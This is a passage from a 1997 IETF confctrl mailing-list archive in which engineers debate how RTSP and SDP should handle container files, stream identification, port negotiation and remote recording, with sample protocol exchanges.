number to be used. It must however make sure that the next higher
port number is also available for RTCP. Otherwise it should try
for another pair.

>*  If the server is responsible for accessing each stream within the file as
>   a separate URL, how do the stream URLs get communicated back to the client?
>   What do those URLs look like?
>*  If the server doesn't have a separate URLs for each stream, how does the
>   client request the different streams?
>

These are the same concerns that we have. This info. probably
needs to go into the SDP description as an "a=" tag.




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Thu Jun 19 12:59:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03270>; Thu, 19 Jun 1997 20:00:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03264>; Thu, 19 Jun 1997 20:00:11 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA02247>; Thu, 19 Jun 1997 20:00:09 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA27983
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 19 Jun 1997 20:01:45 -0700
Message-Id: <3.0.32.19970619195911.00eb76b4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 19 Jun 1997 19:59:12 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP and SDP with container files
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wednesday, I promised a strawman for how RTSP and SDP would work
together with container files (ala Quicktime, ASF, or RealMedia) for
on-demand, unicast streaming.  Here it is.  Bear in mind that Henning and
Anup have not had a reasonable opportunity to review this, so they may have
opinions of their own. 

The server would generate an SDP file on the fly (or whatever list of files
is necessary).  For instance, in the case of a Quicktime file with an audio
and a video track, we would see the following exchange:

  C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
        Accept: application/sdp

  S->C: RTSP/1.0 200 1 OK
        Content-Type: application/sdp

        v=0
        o=- 2890844526 2890842807 IN IP4 192.16.24.202
        s=RTSP Session
        m=audio 0 RTP/AVP 0
        a=streamid:aud
        m=video 0 RTP/AVP 31
        a=streamid:vid

For the most part, this is a standard SDP description.  One thing that is
different is that the port number is 0 rather than a valid port number for
both streams (though one could put a "suggestion" in here, but in unicast,
it's really up to the client).  This will be client-selected using SETUP.

The other thing that is different is that there is a stream id included as
an attribute of the stream in the description.  This ID will be important
in the SETUP message

  C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
        Stream-ID: aud
        Transport: rtp/udp;port=3056,
                   rtp/tcp

  C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
        Stream: vid
        Transport: rtp/udp;port=3058,
                   rtp/tcp

  S->C: RTSP/1.0 200 2 OK
        Session: 1234
        Stream-ID: aud
        Transport: rtp/udp;port=3056

  S->C: RTSP/1.0 200 3 OK
        Stream-ID: vid
        Transport: rtp/udp;port=3058
        Session: 1235

  C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 4
        Session: 1234

  C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 5
        Session: 1235

Other approaches we considered:

*  Embedding the stream id in the URL

   The disadvantage this approach has is in a modular system where the
   URL is being processed by a file system module that knows nothing
   about the specific datatype.  One could envision an RTSP server as
   a database rather than a traditional file server, where the original
   describe URL is actually a query to the server.  Coming up with a way
   of unambiguously appending a stream ID to that query is a non-trivial 
   matter (where does the query end and the stream ID begin?)

*  Having a single SETUP/PLAY for the entire presentation, mapping the 
   individual streams to RTP sessions.

   I think it was generally understood (correct me if I'm wrong) that there
   would be one RTSP session per RTP session.  The compromise that was reached
   was that if one wanted to stream a containter file as a homogenous blob, 
   one could, but the entire container would be streamed as in a single RTP
   session.  This compromise does make it difficult for a server to stream 
   container files, since barring some ungodly server hack, there would be 
   multiple filehandles open to the same file, each streaming out different 
   portions of the file, even if the file is neatly pre-interleaved.  However,
   for the sake of simplifying the protocol, this compromise was made.

Does this seem like a reasonable approach?  Comments welcome and encouraged.

Rob
 


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Fri Jun 20 13:04:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08427>; Fri, 20 Jun 1997 02:05:19 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08421>; Fri, 20 Jun 1997 02:05:15 -0700
Received: from listbox2.cern.ch by venera.isi.edu (5.65c/5.61+local-29)
	id <AA14072>; Fri, 20 Jun 1997 02:04:51 -0700
Received: from hpplus06 (hpplus06.cern.ch [137.138.129.101])
	by listbox2.cern.ch (8.8.5/8.8.5) with SMTP id LAA06967;
	Fri, 20 Jun 1997 11:04:46 +0200 (MET DST)
X-Authentication-Warning: listbox2.cern.ch: Host hpplus06.cern.ch [137.138.129.101] claimed to be hpplus06
Message-Id: <33AA47AA.15CA@mail.cern.ch>
Date: Fri, 20 Jun 1997 11:04:42 +0200
From: Miguel Chamochin <Miguel.Chamochin@cern.ch>
X-Mailer: Mozilla 3.01Gold (X11; I; HP-UX B.10.20 9000/735)
Mime-Version: 1.0
To: confctrl@ISI.EDU
Subject: Remote recordings
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have no seen yet any RTSP exchange with a remote recording server,
where the client gives to the server the presentation description on the
fly, in order to describe the session client would like to record.

    This scene could have two differents possibilities: a) an append to
a existing session or b) the creation-overwrite of a new one.

  a) The append could fix the SDP description on the server with the
following exchange:

  C->S: DESCRIBE /test RTSP/1.0 1
        Accept: application/sdp

  S->C: RTSP/1.0 200 1 OK
        Content-Type: application/sdp
        <presentation description>

  This notice it exists in the server and allow to the client to decide
the record operation "Mode" (append-overwrite).

  b) How could we suggest to the recording server a new prentation
description ?.

   SETUP specifies the transport mechanism...

   SET_PARAMETER set the value for a presentation or stream... 

   RECORD initiates recording a range of media data according to the
presentation description (which one?).

   Do you think the best solution is send the new session description
like a header of the RECORD method, and another header named "Mode"
which specify the recording mode ?.

   It is possible SET_PARAMETER with the presentation you would like to
work...

   Mangel.

-- 
         Miguel Angel Chamochin Gomez
         Information Technology Division
         CERN   CH-1211 Geneve 23  SWITZERLAND
         Phone: +41-22-767-9703
         Fax: +41-22-767-7155
         e-mail: Miguel.Chamochin@cern.ch

From majordom@ISI.EDU  Fri Jun 20 05:39:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13989>; Fri, 20 Jun 1997 06:40:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13983>; Fri, 20 Jun 1997 06:40:25 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21558>; Fri, 20 Jun 1997 06:40:22 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id JAA11676; Fri, 20 Jun 1997 09:39:05 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu
Subject: Re: RTSP and SDP with container files 
In-Reply-To: Your message of "Thu, 19 Jun 1997 19:59:12 PDT."
             <3.0.32.19970619195911.00eb76b4@mail.prognet.com> 
Date: Fri, 20 Jun 1997 09:39:05 -0400
Message-Id: <11674.866813945@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>The server would generate an SDP file on the fly (or whatever list of files
>is necessary).  For instance, in the case of a Quicktime file with an audio
>and a video track, we would see the following exchange:
>
>  C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
>        Accept: application/sdp
>
>  S->C: RTSP/1.0 200 1 OK
>        Content-Type: application/sdp
>
>        v=0
>        o=- 2890844526 2890842807 IN IP4 192.16.24.202
>        s=RTSP Session
>        m=audio 0 RTP/AVP 0
>        a=streamid:aud
>        m=video 0 RTP/AVP 31
>        a=streamid:vid
>
>For the most part, this is a standard SDP description.  One thing that is
>different is that the port number is 0 rather than a valid port number for
>both streams (though one could put a "suggestion" in here, but in unicast,
>it's really up to the client).  This will be client-selected using SETUP.

I haven't kept track of RTSP details recently, so please tell me if
I've assumed anything incorrectly.

The server should probably indicate its ports - this may be a one-way
flow, but RTP still needs a destination port for its RTCP reports.  I
know you suggest putting the server's port in the SETUP response, but
putting it in the description means you could pipeline the SETUP and
PLAY commands instead of having to wait for the SETUP response before
issuing the PLAY.

Strictly speaking your example is not legal SDP as there is no "c" or
"t" field present.

The server should probably indicate its address in a "c" field as it's
possible for the data source host to be separate from the RTSP control
host and the client would need to know this.

I'm still trying to decide whether a "t" field is of any use to you
here.

Mark

From majordom@ISI.EDU  Fri Jun 20 01:38:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17839>; Fri, 20 Jun 1997 08:38:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17830>; Fri, 20 Jun 1997 08:38:51 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA25770>; Fri, 20 Jun 1997 08:38:49 -0700
Received: from bab.prognet.com (bab.dev.prognet.com) by murrow.prognet.com with SMTP id AA20181
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 20 Jun 1997 08:40:30 -0700
Date: Fri, 20 Jun 1997 08:38:42 -0700 (PDT)
From: Bruce Butterfield <bab@prognet.com>
To: Miguel Chamochin <Miguel.Chamochin@cern.ch>
Cc: confctrl@ISI.EDU
Subject: Re: Remote recordings
In-Reply-To: <33AA47AA.15CA@mail.cern.ch>
Message-Id: <Pine.LNX.3.95.970620081441.14512C-100000@bab.prognet.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Currently, we have RECORD working between a client and the server in the
following manner:

C->S:	DESCRIBE rtsp://foo/bar RTSP/1.0 1
	Content-type: application/sdp
	Content-length: 348

	... SDP description of stream to record

S->C:	RTSP/1.0 200 1 OK

C->S:	SETUP rtsp://foo/bar RTSP/1.0 2
	Transport: rtp/udp;mode=record

S->C:	RTSP/1.0 200 2 OK
	Transport: rtp/udp;port=3244;mode=record
	Session: 508876

C->S:	RECORD rtsp://foo/bar RTSP/1.0 3
	Session: 508876
	Range: 0:0-40778:3221
...

The DESCRIBE contaning a stream description tells the server that it needs to
anticipate an impending RECORD session, and to cache the stream description of
the URL. The client sends a SETUP with the paramter 'mode=record'. In the
setup response the server returns a session id and the port to send data
packets to (the reverse of PLAY, in which the client requests a particular
port). The client then sends a RECORD message, waits for an OK response from
the server, and begins sending packets. 

Bruce Butterfield <bab@prognet.com>  	Phone: (206) 674-2467
Progressive Networks			Fax:   (206) 674-3580
Software Development Engineer - Platform Group

On Fri, 20 Jun 1997, Miguel Chamochin wrote:

> I have no seen yet any RTSP exchange with a remote recording server,
> where the client gives to the server the presentation description on the
> fly, in order to describe the session client would like to record.
> 
>     This scene could have two differents possibilities: a) an append to
> a existing session or b) the creation-overwrite of a new one.
> 
>   a) The append could fix the SDP description on the server with the
> following exchange:
> 
>   C->S: DESCRIBE /test RTSP/1.0 1
>         Accept: application/sdp
> 
>   S->C: RTSP/1.0 200 1 OK
>         Content-Type: application/sdp
>         <presentation description>
> 
>   This notice it exists in the server and allow to the client to decide
> the record operation "Mode" (append-overwrite).
> 
>   b) How could we suggest to the recording server a new prentation
> description ?.
> 
>    SETUP specifies the transport mechanism...
> 
>    SET_PARAMETER set the value for a presentation or stream... 
> 
>    RECORD initiates recording a range of media data according to the
> presentation description (which one?).
> 
>    Do you think the best solution is send the new session description
> like a header of the RECORD method, and another header named "Mode"
> which specify the recording mode ?.
> 
>    It is possible SET_PARAMETER with the presentation you would like to
> work...
> 
>    Mangel.
> 
> -- 
>          Miguel Angel Chamochin Gomez
>          Information Technology Division
>          CERN   CH-1211 Geneve 23  SWITZERLAND
>          Phone: +41-22-767-9703
>          Fax: +41-22-767-7155
>          e-mail: Miguel.Chamochin@cern.ch
> 


From majordom@ISI.EDU  Fri Jun 20 05:27:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00712>; Fri, 20 Jun 1997 12:37:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00675>; Fri, 20 Jun 1997 12:36:44 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA06915>; Fri, 20 Jun 1997 12:36:40 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id MAA01718; Fri, 20 Jun 1997 12:28:00 -0700
Date: Fri, 20 Jun 1997 12:27:16 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Mark Handley <mjh@east.isi.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@isi.edu
Subject: Re: RTSP and SDP with container files 
In-Reply-To: <11674.866813945@buttle.lcs.mit.edu>
Message-Id: <Pine.WNT.3.95.970620113233.-295057C-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 20 Jun 1997, Mark Handley wrote:

> The server should probably indicate its ports - this may be a one-way
> flow, but RTP still needs a destination port for its RTCP reports.

Right.  This is really a deficiency in SDP itself, too, for other
applications such as unicast conferencing.  If one wanted to set up a
unicast session using SDP, I presume that each end would be given an
SDP file with the c= address being that of the other end.
Analogously, the port on the m= line should be the port to which (RTP)
data is sent, but there is no place to specify the port on which data
is to be received.

There is a higher-level problem that both end's port selections need
to be chosen before the SDP files can be generated for each end, which
implies a previous exhange of information in the conference setup
protocol.

>  I
> know you suggest putting the server's port in the SETUP response, but
> putting it in the description means you could pipeline the SETUP and
> PLAY commands instead of having to wait for the SETUP response before
> issuing the PLAY.

This is a good point.  The scenario you describe has enough places to
put port numbers, but the port number in the SDP file is not setting
the receive port (as it would for multicast) and the port number in
the SETUP request is not completely overriding the port number in the
SDP file.  So the interpretation of these port fields is different
than was the case before or in different scenarios.

If SDP were modified to carry separate send and receive ports for
unicast, then I guess we'd want to set the receive ports to 0 in this
scenario as Rob had suggested.

Would it make sense for SETUP to come before DESCRIBE (perhaps
pipelined) and then PLAY as the second exchange?


> I'm still trying to decide whether a "t" field is of any use to you
> here.

Coincidentally I have just been pondering some related questions:

If one wanted to implement a "progress indicator" in the client,
I assume one would get the duration of the media stream from the
session description, e.g., the t= field in SDP.  As SDP is used
for multicast sessions, the t= field is not always an accurate
specification of the duration of the transmission, but as used
within RSTP I guess it could be.

As the stream is playing, is it assumed that the client will
measure progress based on the media timestamps (e.g., in RTP) that
it receives?  This seems logical to me, and I don't see any
request or response to report position at the RTSP level.  Using
the local system clock would not account for drift.
							-- Steve


From majordom@ISI.EDU  Fri Jun 20 12:03:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19298>; Fri, 20 Jun 1997 19:05:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19283>; Fri, 20 Jun 1997 19:05:52 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19847>; Fri, 20 Jun 1997 19:05:50 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA03002; Fri, 20 Jun 1997 19:04:42 -0700
Date: Fri, 20 Jun 1997 19:03:59 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu
Subject: Re: RTSP and SDP with container files
In-Reply-To: <3.0.32.19970619195911.00eb76b4@mail.prognet.com>
Message-Id: <Pine.WNT.3.95.970620190335.-295057M-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob,

I'm confused about how you are viewing these container files.  We've
had numerous discussions of a singled multiplexed RTP stream
vs. multiple single-medium RTP streams, and agreed that both schemes
are likely to be used in different scenarios.  Given a container file,
a server can either demultiplex the container file and send multiple
RTP streams, or send the whole container file as one pre-multiplexed
stream.

Taking pieces of your message out of order, you wrote:

> *  Having a single SETUP/PLAY for the entire presentation, mapping the 
>    individual streams to RTP sessions.
> 
>    I think it was generally understood (correct me if I'm wrong) that there
>    would be one RTSP session per RTP session.  The compromise that was reached
>    was that if one wanted to stream a containter file as a homogenous blob, 
>    one could, but the entire container would be streamed as in a single RTP
>    session.  

So far, this is consistent with my understanding as stated above.

>    This compromise does make it difficult for a server to stream 
>    container files, since barring some ungodly server hack, there would be 
>    multiple filehandles open to the same file, each streaming out different 
>    portions of the file, even if the file is neatly pre-interleaved.  However,
>    for the sake of simplifying the protocol, this compromise was made.

No, if the container file is being streamed as one "homogenous blob",
then there's only one filehandle open, and chunks of the interleaved
file are being streamed out in packets of the single RTP session.  A
big reason for sending a single stream is so that no manipulation of
the data is required.  If you're willing to pull out different
portions of the file, then you can send them as multiple RTP streams
to get the advantages of selectability, differential priority, etc.

A second point of confusion comes from the requirement for separate
RTSP sessions for each RTP session, but not having a requirement for
separate RTSP URLs for each RTSP session.  The definition in the -02
spec says that a presentation description contains RTSP URIs for the
individual streams as well as one for the whole presentation.

You said:

> *  Embedding the stream id in the URL
> 
>    The disadvantage this approach has is in a modular system where the
>    URL is being processed by a file system module that knows nothing
>    about the specific datatype.  One could envision an RTSP server as
>    a database rather than a traditional file server, where the original
>    describe URL is actually a query to the server.  Coming up with a way
>    of unambiguously appending a stream ID to that query is a non-trivial 
>    matter (where does the query end and the stream ID begin?)

It is not required that there be only one way to form the URL.  If the
SDP file contained RTSP URLs in place of the stream-id attributes you
added, then the binding to RTSP sessions still works.  In the case
where separate media streams are being sent from different machines,
won't you need multiple URLs in order to set up RTSP sessions with
those separate machines?
							-- Steve


From majordom@ISI.EDU  Fri Jun 20 16:34:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23566>; Fri, 20 Jun 1997 23:38:29 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23560>; Fri, 20 Jun 1997 23:38:27 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA27244>; Fri, 20 Jun 1997 23:38:25 -0700
Received: from PPP1-zappo.prognet.com by murrow.prognet.com with SMTP id AA19965
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 20 Jun 1997 23:40:11 -0700
Received: by PPP1-zappo.prognet.com with Microsoft Mail
	id <01BC7DD2.A671A0C0@PPP1-zappo.prognet.com>; Fri, 20 Jun 1997 23:35:34 -0700
Message-Id: <01BC7DD2.A671A0C0@PPP1-zappo.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: 'Stephen Casner' <casner@precept.com>
Cc: "'brad@prognet.com'" <brad@prognet.com>,
        "confctrl@isi.edu"
	 <confctrl@isi.edu>,
        Rob Lanphier <robla@prognet.com>
Subject: Media Initialization Info vs. Media Server Indirection Info (was: RTSP and SDP with container files)
Date: Fri, 20 Jun 1997 23:34:23 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Steve,

There are a couple of aspects of your last e-mail that are 
inconsistent with my understanding of RTSP.

You wrote:

>> In the case where separate media streams are being sent from 
>> different machines, won't you need multiple URLs in order to set 
>> up RTSP sessions with those separate machines?

The type of information you are describing above is more closely
related to the idea of media server indirection, and should come
from a web server not a media server. In general the idea of the 
result of a DESCRIBE should contain multiple URLs for streams 
served from separate servers is not supported by the intent of the 
DESCRIBE messages in RTSP.

Although, the RTSP spec is not explicit on this topic, it has always 
been my understanding that the DESCRIBE verb is intended to describe 
the media initialization information for the resource. In other words, 
the describe response contains the information required to initialize 
the client for playback of the media stream.

Note that this initialization information is not needed when the media
stream is of a standard RTP payload (because of course renderers for 
those payloads can be initialized by merely knowing the payload type).
It is, however, a requirement for most other data types, that initialization 
information be provided by the server before the client can begin 
rendering the media stream. The intent of the DESCRIBE message is to 
provide this initialization information to the client.

When you consider the bulk of static content available on the internet
today, and you recognize that most of that content (in the form of
QuickTime, AVI, VivoActive, V-Xtreme, VDO, ASF, and RealVideo movies) 
requires rather complex initialization information, you can quickly 
recognize that this initialization information should not be separated 
from the actual stream data, and it should instead be presented by the 
server directly from the file from which the media stream will be served.

It follows that if this initialization information describes media streams 
that will be server off of different servers, than the initialization 
information has been separated from the actual media stream data, and 
therefore runs the risk of becoming out of date, or incorrect. Obviously 
considering the complexity of this initialization information, this out-
of-sync problem is difficult to detect and even more difficult to remedy.

The meta-point I am touching on is that media initialization information
and media server indirection information are not the same thing, and
as such different states in the overall system for handling streaming
media handle the management of these very different concepts. The media
server indirection information should be handled by the component that
needs to contact the media server and control the session (SDR for example), 
where as the initialization information is needed by the actual renderer
of the data stream.

It may in fact be the case that the description technique that is 
most appropriate for these two different types of information is SDP.
However, we should not confuse the fact that SDP can describe both types 
of information with the idea that these types of information are equivalent.

-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------



From majordom@ISI.EDU  Fri Jun 20 17:36:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24352>; Sat, 21 Jun 1997 00:39:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24346>; Sat, 21 Jun 1997 00:39:01 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA29030>; Sat, 21 Jun 1997 00:38:59 -0700
Received: from PPP1-zappo.prognet.com by murrow.prognet.com with SMTP id AA21478
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sat, 21 Jun 1997 00:40:49 -0700
Received: by PPP1-zappo.prognet.com with Microsoft Mail
	id <01BC7DDB.1E86ECC0@PPP1-zappo.prognet.com>; Sat, 21 Jun 1997 00:36:12 -0700
Message-Id: <01BC7DDB.1E86ECC0@PPP1-zappo.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: "confctrl@isi.edu" <confctrl@isi.edu>
Cc: 'Rob Lanphier' <robla@prognet.com>
Subject: Why Stream IDs in URLs are bad. (was: RTSP and SDP with container files)
Date: Sat, 21 Jun 1997 00:36:06 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

As you all consider the current strawman on the table for dealing
with container files and the targeting of single streams from that
container to multiple ports, I think we should keep in mind the 
following issue related to placing stream IDs in URLs.

Rob Lanphier wrote:

>> *  Embedding the stream id in the URL
>> 
>>    The disadvantage this approach has is in a modular system where the
>>    URL is being processed by a file system module that knows nothing
>>    about the specific datatype.  One could envision an RTSP server as
>>    a database rather than a traditional file server, where the original
>>    describe URL is actually a query to the server.  Coming up with a way
>>    of unambiguously appending a stream ID to that query is a non-trivial 
>>    matter (where does the query end and the stream ID begin?)

Basically, the problem that Rob is describing is a very real problem
for a massively scaled media server serving massive amounts of static and
live content. In such a scenario, a very real likelihood is that the actual
content is being served from a database object store instead of a standard 
file system. As such the URL is probably an actual query into the database.

This massively scaled media server probably supports the mounting of an
object store (file system) of arbitrary design within the name space of 
the media server. The resource request would be handed off to this arbitrary 
object store for the actual location of the resource bits. Obviously, the 
object store code is not interpreting the actual bits of the "blob" 
associated with the resource and formatting them into an RTSP and RTP friendly 
stream, instead some file format interpretation code is handling this task. 
The task of separating the individual streams of the container blob and 
sending them to multiple ports lives even further away from the object store 
component that located the bits.

Overloading the URL's parameters to perform the stream selection requires a 
mixing of which components handle the interpretation of the different parts of 
the URL in a way that seriously impacts the ability to successfully implement 
such a massively scaled server.

This problem is clear if you consider the following URL for locating a 
container media file (let's say a music video) on one of these massively 
scaled media servers...

 rtsp://server/db/query?artist="Nirvana"&album="Nevermind"

Now let's consider using an URL parameter named "track" to target a
container stream to a particular port. Under such a spec the URL
used for targeting the audio track of this video would be as follows...

 rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="audio"

This would conflict with a very reasonable implementation of the above data 
base query where the actual song "track" is to be selected. For example, the 
following would be broken...

 rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"

Since the implementation of the actual object store can be arbitrary, the
meaning of the URL parameters, and the actual parameter names should belong 
to this object store, not the protocol that ultimately serves the resource.


-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------



From majordom@ISI.EDU  Mon Jun 23 03:37:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02073>; Mon, 23 Jun 1997 10:37:20 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02065>; Mon, 23 Jun 1997 10:37:12 -0700
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA05817>; Mon, 23 Jun 1997 10:37:10 -0700
Received: from scv4.apple.com (A17-128-100-142.apple.com [17.128.100.142])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id KAA21772
	for <confctrl@ISI.EDU>; Mon, 23 Jun 1997 10:34:40 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv4.apple.com (8.8.5/8.8.5) with ESMTP id KAA16584
	for <confctrl@ISI.EDU>; Mon, 23 Jun 1997 10:37:00 -0700
Date: Mon, 23 Jun 1997 10:37:00 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020923afd3f8c04f3a@[17.255.20.120]>
In-Reply-To: <Pine.WNT.3.95.970620113233.-295057C-100000@oak.precept.com>
References: <11674.866813945@buttle.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: port selection problem (was Re: RTSP and SDP with container files)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:27 PM -0700 6/20/97, Stephen Casner wrote:
>
>There is a higher-level problem that both end's port selections need
>to be chosen before the SDP files can be generated for each end, which
>implies a previous exhange of information in the conference setup
>protocol.
>

For the multicast case, every participant's send and receive ports
need to be the same. There is no choice here and so we have to live
with it. (I'm not sure what happens if some other process on one
of the systems is already using the port. IP_REUSEADDR partially
solves the problem, but not really.) So for multicast let's say
that the SDP file will contain the port number that MUST be used.

For the unicast case, we can solve the port assignment in a better
manner. What we really need is a way to communicate 2 port numbers.
One that is chosen by the server (to which RTCP) is sent and one
that is chosen by the client (to which the RTP data is sent).

Selection of the server port before the SDP files are generated
is not a favourable solution. Firstly, this probably means
that the SDP file needs to be generated on the fly in response
to a DESCRIBE. It also means the server needs to acquire a port
(i.e. do a partial setup) before responding to the DESCRIBE.
Then you get into the issue of each DESCRIBE request coming
back with potentially a different response. None of these issues
by themselves are bad, but it just seems like a pain to
implement.

A better solution is to have a 0 in the port number field
in the SDP file and negotiate the port number over RTSP.
To do this we may need to add "cport=" and "sport="
fields to the Transport header instead of the current
"port=" field.

On a related subject, how does the server get the client's
IP address in the current scheme? Again this is not a problem
for the multicast case since a class D address is used.
But what about for the unicast case?




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Mon Jun 23 06:36:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15220>; Mon, 23 Jun 1997 13:40:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15205>; Mon, 23 Jun 1997 13:40:51 -0700
Received: from mail1.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA17901>; Mon, 23 Jun 1997 13:40:29 -0700
Received: by INET-01-IMC with Internet Mail Service (5.0.1458.49)
	id <NMT9RWK6>; Mon, 23 Jun 1997 13:40:18 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD752@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        Alagu Periyannan
	 <alagu@apple.com>
Cc: confctrl@ISI.EDU
Subject: RE: Relationship between RTSP URL and transport
Date: Mon, 23 Jun 1997 13:36:29 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I am still in a fair bit of shock from Henning Schulzrinne's message of
6/17/97:

>Having a single RTSP session control several different (non-composite)
>media streams was considered early on, but it gets really messy, as it
>is hard to express the relationships between media streams without
>inventing something like RTSL, possibly SDP or the SYMM description.
>Thus, I'd expect to see a single URL, referring to a session
description
>of arbitrary complexity containing several RTSP URLs.

As I read this message and subsequent postings, I (hopefully
incorrectly) see a desire to migrate the current version of the RTSP
spec into a version where one RTSP session will be needed manage each
